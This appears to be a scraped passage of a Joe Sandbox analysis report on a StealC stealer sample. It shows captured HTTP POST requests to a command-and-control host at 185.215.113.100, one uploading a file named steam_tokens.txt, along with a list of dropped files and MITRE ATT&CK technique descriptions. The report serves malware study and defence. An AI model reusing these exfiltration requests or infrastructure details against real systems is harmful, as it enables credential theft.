4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 2d 2d 0d 0a Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file"------JEBFIIIEHCFHJKFHDHDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="message"ybncbhylepme------BKJJJDHDGDAAKECAKJDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJEBGDAFHJEBGDGIJDH--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

C:\ProgramData\BAAFBFBAAKECFIEBFIEC

C:\ProgramData\DGHJECAF

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

C:\ProgramData\FCAAEHJDBKJJKFHJEBKFBGDAAE

C:\ProgramData\FCGCGDHJEGHJKFHJJJKJJJJKEH

C:\ProgramData\IDBAKKEC

C:\ProgramData\JJJEBGDAFHJEBGDGIJDH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

Windows Analysis Report
file.exe

Function 00139270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00124610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0012BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 001343F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 001395E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00127750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00130090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00125150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 001259B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre